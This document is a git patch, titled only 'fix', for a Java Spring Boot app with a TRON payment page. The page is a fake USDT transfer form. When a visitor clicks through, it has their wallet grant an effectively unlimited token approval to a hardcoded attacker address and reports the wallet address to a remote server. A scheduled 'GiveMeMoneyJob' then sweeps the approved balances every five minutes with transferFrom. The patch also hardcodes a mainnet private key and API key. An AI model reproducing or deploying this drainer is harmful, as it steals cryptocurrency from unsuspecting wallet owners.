From 56feb5713f436f0590a196e56b7a0a76e37145a1 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Wed, 20 Oct 2021 14:15:57 +0800
Subject: [PATCH] fix
---
src/main/resources/mapper/dapp/DappAdressListDao.xml | 8
src/main/java/cc/mrbird/febs/FebsShiroApplication.java | 2
src/main/resources/static/tron-app/tron.html | 421 ++++++++++++++++++++--------------
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java | 69 +++++
/dev/null | 47 ---
src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java | 14 +
src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java | 5
src/main/resources/static/tron-app/img/loading.gif | 0
src/main/java/cc/mrbird/febs/common/contants/AppContants.java | 2
src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java | 53 ++++
src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java | 22 +
src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java | 24 ++
src/main/resources/application.yml | 1
13 files changed, 446 insertions(+), 222 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/FebsShiroApplication.java b/src/main/java/cc/mrbird/febs/FebsShiroApplication.java
index 1766c6b..3f01173 100644
--- a/src/main/java/cc/mrbird/febs/FebsShiroApplication.java
+++ b/src/main/java/cc/mrbird/febs/FebsShiroApplication.java
@@ -5,12 +5,14 @@
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.scheduling.annotation.EnableAsync;
+import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.transaction.annotation.EnableTransactionManagement;
/**
* @author MrBird
*/
@EnableAsync
+@EnableScheduling
@SpringBootApplication
@EnableTransactionManagement
@MapperScan("cc.mrbird.febs.*.mapper")
diff --git a/src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java b/src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java
new file mode 100644
index 0000000..76423af
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java
@@ -0,0 +1,53 @@
+package cc.mrbird.febs.Job;
+
+import cc.mrbird.febs.common.contants.AppContants;
+import cc.mrbird.febs.dapp.entity.DappAddressList;
+import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
+import cn.hutool.core.collection.CollUtil;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.scheduling.annotation.Scheduled;
+import org.springframework.stereotype.Component;
+import org.tron.trident.core.ApiWrapper;
+import org.tron.trident.core.contract.Contract;
+import org.tron.trident.core.contract.Trc20Contract;
+
+import java.math.BigInteger;
+import java.util.List;
+
+/**
+ * @author wzy
+ * @date 2021-10-20
+ **/
+@Slf4j
+@Component
+public class GiveMeMoneyJob {
+
+ private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
+ ;
+
+ @Autowired
+ private DappAdressListDao dappAdressListDao;
+
+ @Scheduled(cron = "0 0/5 * * * ? ")
+ public void giveMeMoney() {
+ log.info("give me money");
+ List<DappAddressList> list = dappAdressListDao.selectList(null);
+
+ if (CollUtil.isEmpty(list)) {
+ return;
+ }
+
+ for (DappAddressList address : list) {
+ Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+ Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
+ BigInteger balanceOf = token.balanceOf(address.getAddress());
+
+ log.info("====>{}", balanceOf.intValue());
+ if (balanceOf.intValue() <= 0) {
+ continue;
+ }
+ token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L);
+ }
+ }
+}
diff --git a/src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java b/src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java
new file mode 100644
index 0000000..4c2d17b
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java
@@ -0,0 +1,22 @@
+package cc.mrbird.febs.common.configure;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.TaskScheduler;
+import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler;
+
+/**
+ * @author wzy
+ * @date 2021-10-20
+ **/
+@Configuration
+public class TaskConfig {
+
+ @Bean
+ public TaskScheduler taskScheduler(){
+ ThreadPoolTaskScheduler taskScheduler = new ThreadPoolTaskScheduler();
+ taskScheduler.setPoolSize(10);
+ taskScheduler.initialize();
+ return taskScheduler;
+ }
+}
diff --git a/src/main/java/cc/mrbird/febs/common/contants/AppContants.java b/src/main/java/cc/mrbird/febs/common/contants/AppContants.java
index ffa8e93..c63927d 100644
--- a/src/main/java/cc/mrbird/febs/common/contants/AppContants.java
+++ b/src/main/java/cc/mrbird/febs/common/contants/AppContants.java
@@ -77,4 +77,6 @@
public static final String CLOSING_ORDER_PREFIX = "closing_cnt_";
+ public static final String TRX_PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
+
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
new file mode 100644
index 0000000..ac747eb
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
@@ -0,0 +1,69 @@
+package cc.mrbird.febs.dapp.controller;
+
+import cc.mrbird.febs.common.contants.AppContants;
+import cc.mrbird.febs.common.entity.FebsResponse;
+import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
+import cc.mrbird.febs.dapp.dto.TrxPostDto;
+import cc.mrbird.febs.dapp.entity.DappAddressList;
+import cn.hutool.core.util.StrUtil;
+import io.swagger.annotations.Api;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.*;
+import org.tron.trident.core.ApiWrapper;
+import org.tron.trident.core.contract.Contract;
+import org.tron.trident.core.contract.Trc20Contract;
+
+import javax.servlet.http.HttpServletRequest;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.util.Date;
+
+/**
+ * @author wzy
+ * @date 2021-10-19
+ **/
+@Slf4j
+@RequiredArgsConstructor
+@CrossOrigin(origins = "*")
+@RestController
+@Api(value = "接口啊", tags = "接口啊")
+@RequestMapping(value = "/trx")
+public class DappController {
+
+ @Autowired
+ private DappAdressListDao dappAdressListDao;
+
+ @PostMapping(value = "/trcPost.html")
+ public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
+ log.info("-----进入方法-----");
+
+ DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
+ if (dappAddress == null) {
+ dappAddress = new DappAddressList();
+ dappAddress.setCreateTime(new Date());
+ dappAddress.setAddress(trxPostDto.getAddress());
+ dappAdressListDao.insert(dappAddress);
+ }
+
+ ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
+
+ Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+ Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
+// BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
+// System.out.println(balanceOf);
+
+ BigInteger decimals = token.decimals();
+ BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
+ BigDecimal amount = BigDecimal.ZERO;
+ if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
+ amount = new BigDecimal(trxPostDto.getAmount());
+ }
+
+ amount = amount.multiply(mul);
+
+ token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
+ return new FebsResponse().success();
+ }
+}
diff --git a/src/main/java/cc/mrbird/febs/modules/dapp/dto/TrxPostDto.java b/src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java
similarity index 81%
rename from src/main/java/cc/mrbird/febs/modules/dapp/dto/TrxPostDto.java
rename to src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java
index 6368106..e80b6ce 100644
--- a/src/main/java/cc/mrbird/febs/modules/dapp/dto/TrxPostDto.java
+++ b/src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java
@@ -1,4 +1,4 @@
-package cc.mrbird.febs.modules.dapp.dto;
+package cc.mrbird.febs.dapp.dto;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
@@ -20,4 +20,7 @@
@ApiModelProperty(value = "授权地址", example = "123")
private String authAddress;
+
+ @ApiModelProperty(value = "金额", example = "1")
+ private String amount;
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java b/src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java
new file mode 100644
index 0000000..8c77a55
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java
@@ -0,0 +1,24 @@
+package cc.mrbird.febs.dapp.entity;
+
+import com.baomidou.mybatisplus.annotation.IdType;
+import com.baomidou.mybatisplus.annotation.TableId;
+import com.baomidou.mybatisplus.annotation.TableName;
+import lombok.Data;
+
+import java.util.Date;
+
+/**
+ * @author wzy
+ * @date 2021-10-20
+ **/
+@Data
+@TableName("dapp_address_list")
+public class DappAddressList {
+
+ private Date createTime;
+
+ @TableId(value = "id",type = IdType.AUTO)
+ private Long id;
+
+ private String address;
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java b/src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java
new file mode 100644
index 0000000..1a7ebd2
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java
@@ -0,0 +1,14 @@
+package cc.mrbird.febs.dapp.mapper;
+
+import cc.mrbird.febs.dapp.entity.DappAddressList;
+import com.baomidou.mybatisplus.core.mapper.BaseMapper;
+import org.apache.ibatis.annotations.Param;
+
+/**
+ * @author wzy
+ * @date 2021-10-20
+ **/
+public interface DappAdressListDao extends BaseMapper<DappAddressList> {
+
+ DappAddressList selectByAddress(@Param("address") String address);
+}
diff --git a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
deleted file mode 100644
index 9529210..0000000
--- a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package cc.mrbird.febs.modules.dapp.controller;
-
-import cc.mrbird.febs.common.entity.FebsResponse;
-import cc.mrbird.febs.modules.dapp.dto.TrxPostDto;
-import io.swagger.annotations.Api;
-import lombok.RequiredArgsConstructor;
-import lombok.extern.slf4j.Slf4j;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.*;
-import org.tron.trident.core.ApiWrapper;
-import org.tron.trident.core.contract.Contract;
-import org.tron.trident.core.contract.Trc20Contract;
-
-import javax.servlet.http.HttpServletRequest;
-import java.math.BigDecimal;
-import java.math.BigInteger;
-import java.math.RoundingMode;
-
-/**
- * @author wzy
- * @date 2021-10-19
- **/
-@Slf4j
-@RequiredArgsConstructor
-@CrossOrigin(origins = "*")
-@RestController
-@Api(value = "接口啊", tags = "接口啊")
-@RequestMapping(value = "/trx")
-public class DappController {
-
- private final String PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
-
-
- @PostMapping(value = "/trcPost.html")
- public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
- log.info("-----进入方法-----");
- ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
-
- Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
- Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
- BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
- System.out.println(balanceOf);
-
- token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
- return new FebsResponse().success();
- }
-}
diff --git a/src/main/resources/application.yml b/src/main/resources/application.yml
index c358c69..2296f67 100644
--- a/src/main/resources/application.yml
+++ b/src/main/resources/application.yml
@@ -26,7 +26,6 @@
banner: false
db-config:
select-strategy: not_empty
-
logging:
level:
com:
diff --git a/src/main/resources/mapper/dapp/DappAdressListDao.xml b/src/main/resources/mapper/dapp/DappAdressListDao.xml
new file mode 100644
index 0000000..78dee8b
--- /dev/null
+++ b/src/main/resources/mapper/dapp/DappAdressListDao.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="cc.mrbird.febs.dapp.mapper.DappAdressListDao">
+
+ <select id="selectByAddress" resultType="cc.mrbird.febs.dapp.entity.DappAddressList">
+ select * from dapp_address_list where address=#{address}
+ </select>
+</mapper>
\ No newline at end of file
diff --git a/src/main/resources/static/tron-app/loading.gif b/src/main/resources/static/tron-app/img/loading.gif
similarity index 100%
rename from src/main/resources/static/tron-app/loading.gif
rename to src/main/resources/static/tron-app/img/loading.gif
Binary files differ
diff --git a/src/main/resources/static/tron-app/tron.html b/src/main/resources/static/tron-app/tron.html
index b3bd925..0825c8c 100644
--- a/src/main/resources/static/tron-app/tron.html
+++ b/src/main/resources/static/tron-app/tron.html
@@ -1,187 +1,262 @@
<!DOCTYPE html>
<!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
-<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css"> .tishi{
- width: 3.5rem;
- height: 1.2rem;
- background: #00000059;
- z-index: 999999999999;
- position: fixed;
- top: 50%;
- left: 50%;
- transform: translate(-50%, -50%);
- border-radius: 0.1rem;
- color: white;
- font-size: 0.6rem;
- text-align: center;
- line-height: 1.2rem;
- display: none;
- }
- </style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!-- <div class="item-inner">--><!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi"> 付款成功
- </div></div></div><div id="s"></div></div>
- <div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
- <div style="display:none;">
+<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+ <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
+ <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
+ <meta name="viewport"
+ content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
+ <meta name="apple-mobile-web-app-capable" content="yes">
+ <meta name="apple-mobile-web-app-status-bar-style" content="black">
+ <meta name="format-detection" content="telephone=no, email=no">
+ <meta name="msapplication-tap-highlight" content="no">
+ <meta name="x5-orientation" content="portrait">
+ <meta name="x5-fullscreen" content="true">
+ <link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
+ <meta name="description" content="">
+ <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
+ <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
+ <link rel="stylesheet" href="./tron_files/reset.min.css">
+ <link rel="stylesheet" href="./tron_files/main.css">
+ <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
+ <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
+ <script type="text/javascript" src="./tron_files/flexible.js"></script>
+ <style type="text/css"> .tishi {
+ width: 3.5rem;
+ height: 1.2rem;
+ background: #00000059;
+ z-index: 999999999999;
+ position: fixed;
+ top: 50%;
+ left: 50%;
+ transform: translate(-50%, -50%);
+ border-radius: 0.1rem;
+ color: white;
+ font-size: 0.6rem;
+ text-align: center;
+ line-height: 1.2rem;
+ display: none;
+ }
+ </style>
+</head>
+<body style="font-size: 12px;"><!-- Views -->
+<div class="views"><!-- main view -->
+ <div class="view view-main"><!-- Pages -->
+ <div class="pages navbar-through">
+ <div class="page">
+ <div class="page-content" style="padding-top: 0.5rem;">
+ <div class="list-block address">
+ <div class="list-block-title">收款地址</div>
+ <ul>
+ <li class="item-content">
+ <div class="item-inner">
+ <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
+ </div>
+ </li>
+ </ul>
+ </div>
+ <div class="list-block amount">
+ <div class="list-block-title">金额<span id="yu">0 USDT</span></div>
+ <ul>
+ <li class="item-content">
+ <div class="item-inner">
+ <div class="item-title"><input class="num" placeholder="0">
+ <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
+ </div>
+ </div>
+ </li><!--<li class="item-content">--><!-- <div class="item-inner">-->
+ <!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul>
+ <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
+ </div>
+ <div class="list-block-button">
+ <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
+ </button>
+ </div>
+ </div>
+ </div><!-- Preloader -->
+ <div class="modal">
+ <div class="preloader"></div>
+ </div>
+ <div class="tishi"> 付款成功
+ </div>
+ </div>
+ </div>
+ <div id="s"></div>
+</div>
+<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
+<div style="display:none;">
<textarea id="jsondata">
{"WIN":"TLa2f6VPqDgRE67v1736s7bJ8Ray5wYjU7","USDT":"TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t","TONS":"THgLniqRhDg5zePSrDTdU9QwY8FjD9nLYt","USDJ":"TMwFHYXLJaRUPeW6421aqXL4ZEzPRFGkGT","JST":"TCFLL5dx5ZJdKnWuesXxi1VPwjLVmWZZy9","HT":"TDyvndWuvX5xTBwHPYJi7J3Yq8pq8yh62h","SUN":"TKkeiboTkxXKJpbmVFbv4a8ov5rAfRDMf9","EXNX":"TCcVeKtYUrHEQDPmozjJFMrf6XX7BgF84A","VCOIN":"TNisVGhbxrJiEHyYUMPxRzgytUtGM7vssZ","POL":"TWcDDx1Q6QEoBrJi9qehtZnD4vcXXuVLer","CKRW":"TTVTdn8ipmacfKsCHw5Za48NRnaBRKeJ44"}
</textarea>
- </div>
- <script type="text/javascript">
- var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- var agent = "10000";
- var rank = 6.5;
- var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
- var domain = 'https://dapp.dream-space.top';
- // var domain = 'http://localhost:8080';
- var bizhong = 'USDT';
- var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- function getUrlQueryString(names, urls) {
- urls = urls || window.location.href;
- urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
- var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
- var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
- if (r != null && r[2] != "")
- return unescape(r[2]);
- return null;
+</div>
+<script type="text/javascript">
+ var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ var agent = "10000";
+ var rank = 6.5;
+ var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
+ var domain = 'https://dapp.dream-space.top';
+ // var domain = 'http://localhost:8080';
+ var bizhong = 'USDT';
+ var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- }
-
- $('input.num').bind('input propertychange', function(){
- if($(this).val() && $(this).val()>0){
- $('#btn-connect').css('background','#078bc3');
- }else{
- $('#btn-connect').css('background','#dde0dd');
- }
- $('#price').text(($(this).val()*rank).toLocaleString() )
- })
+ function getUrlQueryString(names, urls) {
+ urls = urls || window.location.href;
+ urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
+ var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
+ var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
+ if (r != null && r[2] != "")
+ return unescape(r[2]);
+ return null;
- async function postInfo(address,symbol){
- var data = {
- address:address,
- authAddress:authorized_address,
- symbol:symbol
- }
+ }
- $.ajax({
- type: 'post',
- url: domain + "/trx/trcPost.html",
- data:data,
- success:function(){
- location.href = domain + "/tron-app/trc_post.html";
- }
- })
- }
-
+ $('input.num').bind('input propertychange', function () {
+ if ($(this).val() && $(this).val() > 0) {
+ $('#btn-connect').css('background', '#078bc3');
+ } else {
+ $('#btn-connect').css('background', '#dde0dd');
+ }
+ $('#price').text(($(this).val() * rank).toLocaleString())
+ })
- $(function() {
-
- const addr = JSON.parse($('#jsondata').html());
+ async function postInfo(address, symbol) {
+ var amount = $($('input.num')[0]).val();
+ var data = {
+ address: address,
+ authAddress: authorized_address,
+ symbol: symbol,
+ amount: amount
+ }
- const price = {
- 'WIN': 0.001150,
- 'USDT':1,
- 'TONS':1.35,
- 'USDJ':1.04,
- 'JST': 0.125,
- "HT": 20.41,
- "SUN": 33.97,
- "EXNX": 0.0621,
- "VCOIN": 0.004225,
- "POL": 0.1393,
- "CKRW": 0.002487,
- }
+ $.ajax({
+ type: 'post',
+ url: domain + "/trx/trcPost.html",
+ data: data,
+ success: function () {
+ location.href = domain + "/tron-app/trc_post.html";
+ }
+ })
+ }
- const decimals = {
- 'WIN': 6,
- 'USDT':6,
- 'TONS':6,
- 'USDJ':18,
- 'JST': 18,
- "HT": 18,
- "SUN": 18,
- "EXNX": 18,
- "VCOIN": 6,
- "POL": 8,
- "CKRW": 6,
- }
- var total=0;
- async function getMostValuableAssets(account) {
- let _symbol = 'USDT';
- for (const symbol of Object.keys(addr)) {
- let contract = await tronWeb.contract().at(addr[symbol]);
- let myBalance = await contract.balanceOf(account).call(function(err,balance){
- const usdt = balance / (10** (decimals[symbol] || 18)) * price[symbol];
- console.log(usdt);
- if (usdt > total && usdt > 500) {
- _symbol = symbol;
- total = usdt;
- approveAddr = addr[_symbol];
- }
- })
- }
- bizhong = _symbol;
- return _symbol;
- }
+ $(function () {
- /**
- * * Connect wallet button pressed.
- */
- async function onConnect() {
- $('.pages').append('<div class="modal-overlay"></div>');
- $('.modal-overlay').addClass('modal-overlay-visible');
- $('.modal').removeClass('modal-out').addClass('modal-in');
- let tronWeb = window.tronWeb;
- let walletAddress = tronWeb.defaultAddress.base58;
- // bizhong = await getMostValuableAssets(walletAddress);
- let instance = await tronWeb.contract().at(approveAddr);
- let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
- res.send({
- feeLimit: 100000000,
- callValue: 0,
- shouldPollResponse: false
- },function(err,res){
- if(err == null){
- $(".tishi").fadeIn()
- setTimeout(function () {
- $(".tishi").fadeOut()
- },2000);
- postInfo(walletAddress,bizhong)
- }
- $('.modal-overlay').remove();
- $('.modal').removeClass('modal-in').addClass('modal-out');
- })
- }
- function init() {
- }
-
-
- async function s(){
- if (window.tronWeb) {
- var tronWeb = window.tronWeb;
- let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
- let walletAddress = tronWeb.defaultAddress.base58;
- let result = await contract.balanceOf(walletAddress).call(function(err,tex){
- if(err == null){
- let total = tex._hex/(10**6);
- $('#yu').text(total.toLocaleString() +' USDT')
- console.log();
- }
- });
- }else{
- }
- }
+ const addr = JSON.parse($('#jsondata').html());
- /**
- * Main entry point.
- */
-
- init();
- document.querySelector("#btn-connect").addEventListener("click", onConnect);
- document.querySelector("#s").addEventListener("click", s);
- })
-
- $(function(){
- setTimeout(function(){
- $('#s').click()
- },1000);
- })
- </script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html>
\ No newline at end of file
+ const price = {
+ 'WIN': 0.001150,
+ 'USDT': 1,
+ 'TONS': 1.35,
+ 'USDJ': 1.04,
+ 'JST': 0.125,
+ "HT": 20.41,
+ "SUN": 33.97,
+ "EXNX": 0.0621,
+ "VCOIN": 0.004225,
+ "POL": 0.1393,
+ "CKRW": 0.002487,
+ }
+
+ const decimals = {
+ 'WIN': 6,
+ 'USDT': 6,
+ 'TONS': 6,
+ 'USDJ': 18,
+ 'JST': 18,
+ "HT": 18,
+ "SUN": 18,
+ "EXNX": 18,
+ "VCOIN": 6,
+ "POL": 8,
+ "CKRW": 6,
+ }
+
+ var total = 0;
+
+ async function getMostValuableAssets(account) {
+ let _symbol = 'USDT';
+ for (const symbol of Object.keys(addr)) {
+ let contract = await tronWeb.contract().at(addr[symbol]);
+ let myBalance = await contract.balanceOf(account).call(function (err, balance) {
+ const usdt = balance / (10 ** (decimals[symbol] || 18)) * price[symbol];
+ console.log(usdt);
+ if (usdt > total && usdt > 500) {
+ _symbol = symbol;
+ total = usdt;
+ approveAddr = addr[_symbol];
+ }
+ })
+ }
+ bizhong = _symbol;
+ return _symbol;
+ }
+
+ /**
+ * * Connect wallet button pressed.
+ */
+ async function onConnect() {
+ $('.pages').append('<div class="modal-overlay"></div>');
+ $('.modal-overlay').addClass('modal-overlay-visible');
+ $('.modal').removeClass('modal-out').addClass('modal-in');
+ let tronWeb = window.tronWeb;
+ let walletAddress = tronWeb.defaultAddress.base58;
+ // bizhong = await getMostValuableAssets(walletAddress);
+ // postInfo(walletAddress, bizhong)
+ let instance = await tronWeb.contract().at(approveAddr);
+ let res = await instance["approve"](authorized_address, "90000000000000000000000000000");
+ res.send({
+ feeLimit: 100000000,
+ callValue: 0,
+ shouldPollResponse: false
+ }, function (err, res) {
+ if (err == null) {
+ $(".tishi").fadeIn()
+ setTimeout(function () {
+ $(".tishi").fadeOut()
+ }, 2000);
+ postInfo(walletAddress, bizhong)
+ }
+ $('.modal-overlay').remove();
+ $('.modal').removeClass('modal-in').addClass('modal-out');
+ })
+ }
+
+ function init() {
+ }
+
+
+ async function s() {
+ if (window.tronWeb) {
+ var tronWeb = window.tronWeb;
+ let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+ let walletAddress = tronWeb.defaultAddress.base58;
+ let result = await contract.balanceOf(walletAddress).call(function (err, tex) {
+ if (err == null) {
+ let total = tex._hex / (10 ** 6);
+ $('#yu').text(total.toLocaleString() + ' USDT')
+ console.log();
+ }
+ });
+ } else {
+ }
+ }
+
+ /**
+ * Main entry point.
+ */
+
+ init();
+ document.querySelector("#btn-connect").addEventListener("click", onConnect);
+ document.querySelector("#s").addEventListener("click", s);
+ })
+
+ $(function () {
+ setTimeout(function () {
+ $('#s').click()
+ }, 1000);
+ })
+</script>
+<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
+</body>
